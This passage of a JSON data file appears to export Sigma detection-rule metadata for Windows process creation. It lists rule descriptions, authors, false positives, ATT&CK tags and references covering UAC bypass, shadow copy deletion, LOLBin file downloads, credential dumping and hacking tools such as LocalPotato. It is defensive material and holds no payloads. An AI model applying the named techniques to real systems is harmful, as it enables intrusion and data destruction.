        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unknown sub processes of Wsreset.exe"
        ],
        "filename": "proc_creation_win_uac_bypass_wsreset.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html",
          "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/",
          "https://twitter.com/ReaQta/status/1222548288731217921",
          "https://www.activecyber.us/activelabs/windows-uac-bypass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml"
        ],
        "tags": [
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          "attack.defense_evasion",
          "attack.t1548.002"
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      },
      "related": [
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Python libraries that use a flag starting with \"-c\". Filter according to your environment"
        ],
        "filename": "proc_creation_win_python_inline_command_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.python.org/3/using/cmdline.html#cmdoption-c",
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_inline_command_execution.yml"
        ],
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          "attack.t1059"
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      "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_system.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml"
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        "tags": [
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      "description": "Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes",
      "meta": {
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        "creation_date": "2022/12/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rar_susp_greedy_compression.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://decoded.avast.io/martinchlumecky/png-steganography",
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      "meta": {
        "author": "Thomas Patzke",
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        ],
        "filename": "proc_creation_win_hktl_crackmapexec_execution_patterns.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
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      "meta": {
        "author": "Florian Roth (Nextron Systems), Teymur Kheirkhabarov",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_whoami_execution_from_high_priv_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
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        "creation_date": "2023/02/03",
        "falsepositive": [
          "Legitimate administration activity"
        ],
        "filename": "proc_creation_win_nltest_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm",
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        ],
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      "value": "Nltest.EXE Execution"
    },
    {
      "description": "Shadow Copies deletion using operating systems utilities",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason",
          "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)"
        ],
        "filename": "proc_creation_win_susp_shadow_copies_deletion.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/intelligence-insights-october-2021/",
          "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/",
          "https://blog.talosintelligence.com/2017/05/wannacry.html",
          "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar",
          "https://github.com/Neo23x0/Raccine#the-process",
          "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/",
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100",
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml"
        ],
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      "uuid": "c947b146-0abc-4c87-9c64-b17e9d7274a2",
      "value": "Shadow Copies Deletion Using Operating Systems Utilities"
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      "description": "Attackers may leverage fsutil to enumerated connected drives.",
      "meta": {
        "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'",
        "creation_date": "2022/03/29",
        "falsepositive": [
          "Certain software or administrative tasks may trigger false positives."
        ],
        "filename": "proc_creation_win_fsutil_drive_enumeration.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml",
          "Turla has used fsutil fsinfo drives to list connected drives.",
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          "attack.t1120"
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      "uuid": "63de06b9-a385-40b5-8b32-73f2b9ef84b6",
      "value": "Fsutil Drive Enumeration"
    },
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      "description": "Detects execution of \"sc.exe\" to query information about registered services on the system",
      "meta": {
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        "creation_date": "2021/12/06",
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          "Keybase process \"kbfsdokan.exe\" query the dokan1 service with the following commandline \"sc query dokan1\""
        ],
        "filename": "proc_creation_win_sc_query.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery",
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      "description": "Detect usage of the \"ssh.exe\" binary as a proxy to launch other programs",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2022/12/29",
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        "filename": "proc_creation_win_lolbin_ssh.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://man.openbsd.org/ssh_config#ProxyCommand",
          "https://github.com/LOLBAS-Project/LOLBAS/pull/211/files",
          "https://lolbas-project.github.io/lolbas/Binaries/Ssh/",
          "https://gtfobins.github.io/gtfobins/ssh/",
          "https://man.openbsd.org/ssh_config#LocalCommand",
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          "Legitimate administrative use"
        ],
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        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d",
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_secedit_execution.yml"
        ],
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          "attack.t1564.002",
          "attack.t1546.008",
          "attack.t1546.007",
          "attack.t1547.014",
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      },
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          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
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      "uuid": "c2c76b77-32be-4d1f-82c9-7e544bdfe0eb",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wab_execution_from_non_default_location.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime",
          "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
          "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml"
        ],
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          "attack.defense_evasion",
          "attack.execution"
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      "description": "Detects usage of bitsadmin downloading a file",
      "meta": {
        "author": "Michael Haag, FPT.EagleEye",
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        ],
        "filename": "proc_creation_win_bitsadmin_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin",
          "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
          "https://isc.sans.edu/diary/22264",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml"
        ],
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          "attack.defense_evasion",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_exec_from_trusted_locations.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://techcommunity.microsoft.com/t5/microsoft-365-blog/new-security-hardening-policies-for-trusted-documents/ba-p/3023465",
          "https://twitter.com/_JohnHammond/status/1588155401752788994",
          "https://twitter.com/Max_Mal_/status/1633863678909874176",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_exec_from_trusted_locations.yml"
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      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
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        "falsepositive": [
          "Legitimate import of keys"
        ],
        "filename": "proc_creation_win_reg_import_from_suspicious_paths.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml"
        ],
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      "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_vsiisexelauncher.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml"
        ],
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        "author": "Florian Roth (Nextron Systems)",
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        ],
        "filename": "proc_creation_win_regedit_trustedinstaller.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/1kwpeter/status/1397816101455765504",
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      "meta": {
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        "creation_date": "2020/10/23",
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          "Unlikely"
        ],
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        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
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          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32",
          "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/",
          "https://www.cobaltstrike.com/help-opsec",
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          "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback",
          "https://twitter.com/CyberRaiju/status/1251492025678983169",
          "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool",
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        ],
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        "level": "high",
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        "logsource.product": "windows",
        "refs": [
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          "https://forensicitguy.github.io/agenttesla-vba-certutil-download/",
          "https://twitter.com/egre55/status/1087685529016193025",
          "https://twitter.com/_JohnHammond/status/1708910264261980634",
          "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
          "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip.yml"
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_ssh_rdp_tunneling.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_rdp_tunneling.yml"
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        }
      ],
      "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d",
      "value": "Potential RDP Tunneling Via SSH"
    },
    {
      "description": "Detects usage of \"IMEWDBLD.exe\" to download arbitrary files",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel",
        "creation_date": "2023/11/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_imewbdld_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download",
          "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imewbdld_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "863218bd-c7d0-4c52-80cd-0a96c09f54af",
      "value": "Arbitrary File Download Via IMEWDBLD.EXE"
    },
    {
      "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign"
        ],
        "filename": "proc_creation_win_lolbin_register_app.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1c8774a0-44d4-4db0-91f8-e792359c70bd",
      "value": "REGISTER_APP.VBS Proxy Execution"
    },
    {
      "description": "Detects a service binary running in a suspicious directory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/03/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_service_dir.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "883faa95-175a-4e22-8181-e5761aeb373c",
      "value": "Suspicious Service Binary Directory"
    },
    {
      "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_reg_modify_group_policy_settings.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_modify_group_policy_settings.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1484.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ada4b0c4-758b-46ac-9033-9004613a150d",
      "value": "Modify Group Policy Settings"
    },
    {
      "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading",
      "meta": {
        "author": "elhoim",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_vmnat.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/malmoeb/status/1525901219247845376",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205",
      "value": "Renamed Vmnat.exe Execution"
    },
    {
      "description": "Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/14",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_localpotato.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/decoder-it/LocalPotato",
          "https://www.localpotato.com/localpotato_html/LocalPotato.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_localpotato.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "cve.2023.21746"
        ]
      },
      "uuid": "6bd75993-9888-4f91-9404-e1e4e4e34b77",
      "value": "HackTool - LocalPotato Execution"
    },
    {
      "description": "Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively",
      "meta": {
        "author": "Sai Prashanth Pulisetti @pulisettis",
        "creation_date": "2022/12/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_impersonate.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/sensepost/impersonate",
          "https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impersonate.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1134.001",
          "attack.t1134.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cf0c254b-22f1-4b2b-8221-e137b3c0af94",
      "value": "HackTool - Impersonate Execution"
    },
    {
      "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_presentationhost_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b124ddf4-778d-418e-907f-6dd3fc0d31cd",
      "value": "Arbitrary File Download Via PresentationHost.EXE"
    },
    {
      "description": "Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades), Florian Roth",
        "creation_date": "2021/12/17",
        "falsepositive": [
          "Legitimate calls to system binaries",
          "Company specific internal usage"
        ],
        "filename": "proc_creation_win_java_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d",
      "value": "Suspicious Processes Spawned by Java.EXE"
    },
    {
      "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/23",
        "falsepositive": [
          "Other legitimate network providers used and not filtred in this rule"
        ],
        "filename": "proc_creation_win_registry_new_network_provider.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade",
          "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_new_network_provider.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "baef1ec6-2ca9-47a3-97cc-4cf2bda10b77",
      "value": "Potential Credential Dumping Attempt Using New NetworkProvider - CLI"
    },
    {
      "description": "Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community",
        "creation_date": "2022/06/14",
        "falsepositive": [
          "Legitimate use by a via a batch script or by an administrator."
        ],
        "filename": "proc_creation_win_lolbin_pcalua.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Pcalua/",
          "https://pentestlab.blog/2020/07/06/indirect-command-execution/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0955e4e1-c281-4fb9-9ee1-5ee7b4b754d2",
      "value": "Use of Pcalua For Execution"
    },
    {
      "description": "Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them.\nThe manifest option enables you to install an application by passing in a YAML file directly to the client.\nWinget can be used to download and install exe, msi or msix files later.\n",
      "meta": {
        "author": "Sreeman, Florian Roth (Nextron Systems), frack113",
        "creation_date": "2020/04/21",
        "falsepositive": [
          "Some false positives are expected in some environment that may use this functionality to install and test their custom applications"
        ],
        "filename": "proc_creation_win_winget_local_install_via_manifest.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install",
          "https://lolbas-project.github.io/lolbas/Binaries/Winget/",
          "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_local_install_via_manifest.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "313d6012-51a0-4d93-8dfc-de8553239e25",
      "value": "Install New Package Via Winget Local Manifest"
    },
    {
      "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry",
      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_non_priv_reg_or_ps.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_priv_reg_or_ps.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8f02c935-effe-45b3-8fc9-ef8696a9e41d",
      "value": "Non-privileged Usage of Reg or Powershell"
    },
    {
      "description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine",
      "meta": {
        "author": "James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer."
        ],
        "filename": "proc_creation_win_susp_web_request_cmd_and_cmdlets.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps",
          "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/",
          "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd_and_cmdlets.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d",
      "value": "Usage Of Web Request Commands And Cmdlets"
    },
    {
      "description": "Detects using SettingSyncHost.exe to run hijacked binary",
      "meta": {
        "author": "Anton Kutepov, oscd.community",
        "creation_date": "2020/02/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_settingsynchost.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_settingsynchost.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1574.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "58af3705-8740-4c68-9329-ec015a7013c2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b2ddd389-f676-4ac4-845a-e00781a48e5f",
      "value": "Using SettingSyncHost.exe as LOLBin"
    },
    {
      "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_parents.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b",
          "https://twitter.com/x86matthew/status/1505476263464607744?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cbec226f-63d9-4eca-9f52-dfb6652f24df",
      "value": "Suspicious Process Parents"
    },
    {
      "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/04/29",
        "falsepositive": [
          "Possible Admin Activity",
